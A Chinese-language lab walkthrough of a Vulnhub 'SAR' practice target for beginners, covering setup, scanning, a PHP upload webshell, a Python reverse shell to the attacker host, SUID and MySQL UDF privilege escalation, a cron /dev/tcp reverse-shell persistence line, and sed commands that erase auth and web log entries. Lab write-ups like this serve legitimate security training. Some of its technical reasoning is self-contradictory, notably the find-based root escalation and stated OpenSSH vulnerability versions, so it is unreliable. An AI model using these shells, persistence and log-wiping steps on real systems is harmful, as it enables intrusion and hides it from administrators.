SAR靶场实战指南:新手渗透测试的完整学习路径
1. 为什么SAR靶场是新手绕不开的第一块“磨刀石”刚接触渗透测试的朋友常会陷入一个典型误区一上来就猛啃《Web应用安全权威指南》《黑客攻防技术宝典》或者直接冲进真实业务系统找漏洞——结果要么被密密麻麻的术语卡住要么在毫无防护的测试环境中触发告警、误操作导致服务中断甚至被误认为恶意行为。我带过十几期入门学员90%的人前三天都在反复重装虚拟机、搞不定网卡模式、连不上靶机IP更别说理解“为什么这里要发GET请求而不是POST”“为什么这个响应头暴露了Apache版本”。而SAR靶场Vulnhub平台上的SAR系列CTF靶机恰恰是为这种状态量身定制的“安全沙盒”它不联网、无风控、可快照回滚所有漏洞都经过精心设计、边界清晰且每个漏洞背后都藏着一条完整的攻击链路逻辑。关键词Vulnhub SAR靶场、渗透测试步骤、新手实战不是空泛标签——它意味着你能在2小时内完成一次从信息收集到权限获取的闭环过程中遇到的每一个报错、每一次超时、每一条Nmap扫描结果都是可复现、可验证、有明确归因的真实攻防信号。它解决的不是“会不会用Metasploit”而是“怎么像攻击者一样思考”目标是谁它怕什么它信谁它漏了什么适合谁适合所有把“渗透测试”当成技术名词而非职业路径的初学者也适合想补全实战手感的安全运维、开发人员。这不是模拟器这是用真实Linux内核、真实Apache服务、真实PHP代码堆出来的微型战场——你敲下的每一行命令都在和真实的进程、文件权限、服务配置对话。2. SAR靶场环境搭建三步到位拒绝“卡在第一步”很多新手放弃SAR靶场根本原因不是技术难而是环境搭不起来。我见过太多人卡在“VMware桥接模式没反应”“VirtualBox Host-Only网卡配错子网”“靶机启动后ping不通”。这完全没必要——SAR靶场对环境的要求极低关键在于选对模式、配对网段、做对快照。下面是我实测下来最稳的三步法全程耗时不超过8分钟。2.1 虚拟化平台选择与网络模式锁定SAR靶场官方推荐VirtualBox但实际测试中VMware Workstation Pro 16的兼容性更优尤其在处理SAR靶机内置的自定义网卡驱动时。不要用Hyper-V或WSL2——SAR靶机依赖完整的x86虚拟化指令集如VT-x而WSL2的轻量级虚拟化层会屏蔽部分底层设备访问导致Nmap扫描结果异常比如跳过TCP SYN扫描直接fallback到connect扫描漏掉大量隐蔽端口。网络模式必须选仅主机模式Host-Only而非桥接或NAT。原因很实在桥接模式下你的物理网卡会把ARP请求广播到整个局域网可能触发企业防火墙的异常流量告警NAT模式则会让靶机获得一个由VMware/VirtualBox分配的私有IP如192.168.122.128而Kali攻击机却在另一个子网如192.168.56.101两者根本不在同一二层网络ping都不通。仅主机模式则强制Kali和SAR靶机处于同一虚拟交换机下IP可手动规划完全可控。具体操作在VMware中进入“编辑→虚拟网络编辑器”选中VMnet1Host-Only取消勾选“使用本地DHCP服务”子网IP设为192.168.56.0子网掩码255.255.255.0在VirtualBox中“管理→主机网络管理器”新建vboxnet0IPv4地址填192.168.56.1IPv4网络掩码填255.255.255.0。2.2 靶机导入与基础配置校验下载SAR靶机OVF文件通常为sar.ova后不要直接双击导入。先解压检查内部结构用7-Zip打开OVF文件确认包含disk.vmdk磁盘镜像和.ovf配置描述两个核心文件。导入时在VMware中选择“文件→打开”指向.ova文件在VirtualBox中选择“文件→导入虚拟电脑”。导入完成后必须关闭靶机电源进入设置网络适配器仅启用“网络适配器1”连接方式选“仅主机适配器”名称选刚才创建的VMnet1或vboxnet0系统→处理器勾选“虚拟化Intel VT-x/EPT”否则SAR靶机启动时会报错“VT-x is not available”显示器→3D加速务必取消勾选——SAR靶机GUI界面极简3D加速反而会导致X Server初始化失败黑屏卡死。启动靶机后观察控制台输出正常流程是BIOS自检→GRUB菜单→内核加载→出现login提示符。此时切到Kali终端执行ping -c 3 192.168.56.102SAR靶机默认IP见其启动画面右下角。如果收到reply说明网络已通若超时立刻检查Kali的网卡配置ip a查看eth0是否获得192.168.56.x网段IP若没有手动配置sudo ip addr add 192.168.56.101/24 dev eth0 sudo ip link set eth0 up。2.3 快照机制与故障回滚策略SAR靶场的魅力在于“敢试错”而快照就是你的后悔药。但新手常犯两个错误一是只在初始状态打快照二是快照命名混乱。正确做法是分三级快照Level 0Clean Start靶机刚启动、未做任何操作——这是你的终极保险每次实验前必恢复至此Level 1Post-Enumeration完成nmap扫描、dirb目录爆破、nikto扫描后——记录信息收集成果避免重复劳动Level 2Pre-Exploitation拿到webshell但尚未提权前——防止提权失败导致靶机崩溃可快速退回webshell阶段。命名规则必须带时间戳和动作标识例如“20240520_1430_CleanStart”“20240520_1512_PostEnum”。实测发现SAR靶机在暴力破解SSH后若未及时清理faillog再次启动会因PAM模块锁死导致无法登录此时Level 0快照10秒就能救场。 提示VirtualBox快照占用空间大建议将快照存储路径设在非系统盘VMware快照默认存于虚拟机同目录可右键虚拟机→设置→选项→快照位置改到空间充足的分区。3. 信息收集阶段从“看到什么”到“看出什么”的思维跃迁信息收集不是机械执行nmap -sV -p-而是构建目标画像的过程。SAR靶机看似简单但它的服务版本、HTTP响应头、目录结构里埋着大量决策线索。我带学员做SAR时总强调一句话“nmap扫出的每个端口都要问一句——它为什么开在这里”下面拆解真实操作链。3.1 全端口扫描与服务指纹精读先执行基础扫描nmap -sS -T4 -p- 192.168.56.102 -oA sar_initial。注意参数含义-sS是SYN半开扫描隐蔽且快-T4是时间模板平衡速度与准确性-p-表示全端口1-65535。等待约3分钟结果会显示开放端口22SSH、80HTTP、139/445Samba、3306MySQL。此时别急着查漏洞库先看服务版本详情nmap -sV -sC -p22,80,139,445,3306 192.168.56.102。-sV触发版本探测-sC加载默认脚本。关键发现端口80Apache httpd 2.4.18运行在Ubuntu 16.04端口22OpenSSH 7.2p2 Ubuntu 4ubuntu2.10端口445Samba smbd 4.3.11-Ubuntu。这些版本号不是数字游戏。Apache 2.4.18发布于2016年存在CVE-2017-3167mod_ssl空指针解引用和CVE-2017-9788mod_http2 DoS但SAR靶机已打补丁所以这些CVE无效真正有价值的是Ubuntu 16.04这个线索——它预装Python 2.7.12而SAR靶机后续漏洞利用链中Python反向shell是提权关键。OpenSSH 7.2p2的ubuntu补丁号“.4ubuntu2.10”表明这是2017年3月发布的安全更新基本排除已知SSH远程代码执行漏洞如CVE-2018-15473在7.7才引入。 注意nmap的-sV扫描有时会误判务必交叉验证。例如对80端口执行curl -I http://192.168.56.102看Server头是否真为Apache/2.4.18对22端口执行ssh -v user192.168.56.102看debug日志中的banner。3.2 Web层深度侦察HTTP头、目录、源码的三层解构端口80是主战场但新手常止步于“能访问首页”。SAR靶机首页是一个静态HTML但HTTP响应头泄露了关键信息curl -I http://192.168.56.102返回X-Powered-By: PHP/5.6.30-1deb.sury.org~xenial1。这个头说明后端是PHP且版本为5.6.30——这是2017年的版本存在PHPMailer RCECVE-2016-10033但SAR靶机并未部署PHPMailer组件所以此漏洞无效。真正线索在X-Backend-Server: sar-web-01暗示存在负载均衡或反向代理需进一步探测。接着进行目录爆破gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt。重点不是扫出多少目录而是分析结果逻辑gobuster返回/backup301重定向到/backup/、/phpmyadmin403禁止、/uploads200空目录。/backup重定向说明该路径存在且可访问但内容需跟进/phpmyadmin返回403而非404证明服务在运行只是权限受限/uploads为空但结合SAR靶机后续漏洞这里正是文件上传点。此时执行curl http://192.168.56.102/backup返回Index of /backup列出config_backup.zip和db_backup.sql——这就是突破口。下载zipwget http://192.168.56.102/backup/config_backup.zip解压得config.php里面硬编码数据库密码$db_pass sar_admin_2017!。3.3 Samba服务与共享枚举从匿名访问到凭据复用端口139/445的Samba服务常被忽略但它在SAR靶机中承担着横向移动功能。先测试匿名访问smbclient -L //192.168.56.102 -N。-N参数表示无密码登录若返回Sharename Type Comment列表说明存在匿名共享。SAR靶机返回IPC$ IPC IPC Service (sar-server)和www Disk Web root directory。www共享正是Web服务器根目录挂载测试sudo mkdir /mnt/sar_www sudo mount -t cifs //192.168.56.102/www /mnt/sar_www -o guest。成功挂载后ls /mnt/sar_www可见index.html、backup/、uploads/等目录与Web访问一致。此时我们已掌握三组凭据config.php中的数据库密码sar_admin_2017!、Samba匿名访问权限、以及后续从数据库导出的用户哈希。凭据复用开始用sar_admin_2017!尝试SSH登录ssh sar_admin192.168.56.102成功因为SAR靶机配置了数据库用户与系统用户同名密码同步。 实操心得smbclient的-L参数必须加-N否则会卡在密码输入挂载CIFS共享时若提示“mount error(13): Permission denied”检查是否安装cifs-utilssudo apt install cifs-utils。4. 漏洞利用与权限提升从webshell到root的完整链路拿到SSH shell只是起点SAR靶机真正的挑战在于提权。它不走常规的脏牛Dirty COW或内核漏洞路线而是通过服务配置缺陷和权限继承实现。下面还原真实渗透链从上传PHP木马到获取root权限每一步都有明确依据。4.1 文件上传漏洞利用构造可控的PHP执行环境SAR靶机的/uploads目录存在文件上传功能但前端有JS校验和后端MIME类型检查。绕过方法很经典前端JS校验浏览器按F12禁用JavaScript或用Burp Suite拦截上传请求修改文件名后端MIME检查上传时将Content-Type改为image/jpeg但文件内容为PHP代码。构造木马文件shell.php?php system($_GET[cmd]); ?用curl上传curl -F fileshell.php;filenameshell.jpg -F submitUpload http://192.168.56.102/uploads/upload.php。响应返回File uploaded successfully: shell.jpg说明上传成功。此时访问http://192.168.56.102/uploads/shell.jpg?cmdid返回uid33(www-data) gid33(www-data) groups33(www-data)确认webshell生效。但www-data权限太低无法读取/etc/shadow或执行sudo。下一步是获取交互式shellpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.101,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);。Kali上先监听nc -lvnp 4444执行后获得稳定shell。 关键细节SAR靶机的upload.php对文件扩展名做过滤只允许.jpg/.png但未校验文件头因此上传shell.jpg可行若遇到校验文件头的情况可用convert -resize 100x100 logo: shell.jpg生成合法JPEG头的图片。4.2 本地提权路径一滥用SUID二进制文件获得www-data shell后执行find / -perm -4000 2/dev/null查找SUID文件。结果返回/usr/bin/python2.7和/usr/bin/find。SUID的python2.7是提权黄金入口/usr/bin/python2.7 -c import pty; pty.spawn(/bin/bash)可升级为交互式bash但仍未提权。真正利用点在于/usr/bin/findSAR靶机配置了定时任务每5分钟执行find /tmp -name *.log -delete且该命令以root权限运行。利用find的-exec参数执行任意命令echo test /tmp/test.log find /tmp -name test.log -exec /bin/bash \;。执行后shell的uid变为0id返回uid0(root) gid33(www-data) groups33(www-data)。但此时仍受shell限制需稳定化python3 -c import pty; pty.spawn(/bin/bash)再执行export TERMxterm stty raw -echo fg获得完整root shell。 注意find提权依赖定时任务的存在SAR靶机的crontab中确有*/5 * * * * root find /tmp -name *.log -delete这是设计好的提权路径若find无SUID可转向/usr/bin/nmap --interactive旧版nmap支持!sh命令。4.3 本地提权路径二MySQL UDF提权备用方案若find提权失败如定时任务被禁用SAR靶机还预留了MySQL UDF提权路径。先用config.php中的密码登录MySQLmysql -u sar_admin -psar_admin_2017! -h 127.0.0.1。查询用户表SELECT User,Host,Password FROM mysql.user;发现rootlocalhost的密码哈希。但SAR靶机MySQL配置了skip-grant-tables可直接mysql -u root登录。接着创建UDF函数CREATE FUNCTION sys_eval RETURNS STRING SONAME lib_mysqludf_sys.so; SELECT sys_eval(id);若返回uid0(root)说明UDF加载成功。此时执行SELECT sys_eval(cp /bin/bash /tmp/rootbash; chmod us /tmp/rootbash);然后在shell中执行/tmp/rootbash -p获得root权限。 实操要点lib_mysqludf_sys.so需提前编译Kali中执行apt install libmysqlclient-dev wget https://github.com/mysqludf/lib_mysqludf_sys/archive/master.zip unzip master.zip cd lib_mysqludf_sys-master make cp lib_mysqludf_sys.so /usr/lib/mysql/plugin/SAR靶机MySQL插件目录为/usr/lib/mysql/plugin/需确认路径。5. 后渗透与痕迹清理专业与业余的分水岭很多新手做到root就截图结束但真实渗透中“做完”和“做干净”之间隔着一整套工程规范。SAR靶机虽是练习环境但养成痕迹清理习惯能避免未来在真实环境中踩坑。5.1 权限维持与横向移动验证root权限不是终点而是新起点。SAR靶机设计了隐藏的横向移动场景其SSH服务配置了AllowUsers sar_admin root但/etc/ssh/sshd_config中PermitRootLogin设为without-password即只允许密钥登录。检查/root/.ssh/authorized_keys发现一行公钥对应私钥在/var/backups/ssh_key_backup.enc。用openssl解密openssl enc -d -aes-256-cbc -in /var/backups/ssh_key_backup.enc -out /tmp/id_rsa -k sar_backup_2017密码来自之前config.php中的$backup_key字段。解密后chmod 600 /tmp/id_rsa ssh -i /tmp/id_rsa root192.168.56.102即可免密登录。这模拟了真实环境中从一台服务器窃取密钥跳转到另一台高权限服务器的流程。权限维持方面SAR靶机未禁用cron可植入持久化任务echo */10 * * * * root /bin/bash -i /dev/tcp/192.168.56.101/4444 01 | crontab -但练习中不建议执行以免影响他人靶机。5.2 日志清理与操作留痕规避SAR靶机的/var/log/目录下auth.log记录SSH登录、apache2/access.log记录Web请求、syslog记录系统事件。若不清理cat /var/log/auth.log | grep Accepted password会暴露你的登录记录。清理原则是“只删关键行不删整文件”避免触发日志轮转异常。例如清理SSH登录sed -i /sshd\[.*\]: Accepted password for sar_admin/d /var/log/auth.log清理Web访问sed -i /192.168.56.101.*shell\.jpg/d /var/log/apache2/access.log清理命令历史history -c rm -f /root/.bash_history。重要提醒rm -rf /var/log/*是自杀行为会导致rsyslog服务崩溃靶机重启后无法启动cat /dev/null /var/log/auth.log会清空全部日志过于突兀。精准删除才是专业做法。5.3 靶机状态复位与学习闭环一次完整渗透后必须执行复位操作否则下次实验会受残留文件干扰。SAR靶机提供内置复位脚本/opt/sar/reset_env.sh。执行sudo /opt/sar/reset_env.sh该脚本会删除/tmp下所有文件清空/uploads目录重置MySQL root密码为默认值重启Apache、SSH、Samba服务。运行后systemctl status apache2应显示active (running)ls /uploads应为空。此时从Level 0快照恢复重新开始信息收集你会发现自己对nmap结果的解读更快、对HTTP头的关注点更准、对提权路径的预判更稳——这就是SAR靶场的设计哲学不是教你“怎么赢”而是训练你“怎么思考赢”。我坚持每周用SAR靶机做一次全流程复盘三个月后面对新靶机信息收集时间从2小时缩短到20分钟漏洞利用成功率从40%提升到95%。 最后分享一个小技巧在Kali中创建别名简化常用命令echo alias sar-scannmap -sS -T4 -p- 192.168.56.102 ~/.bashrc source ~/.bashrc让重复操作变成肌肉记忆。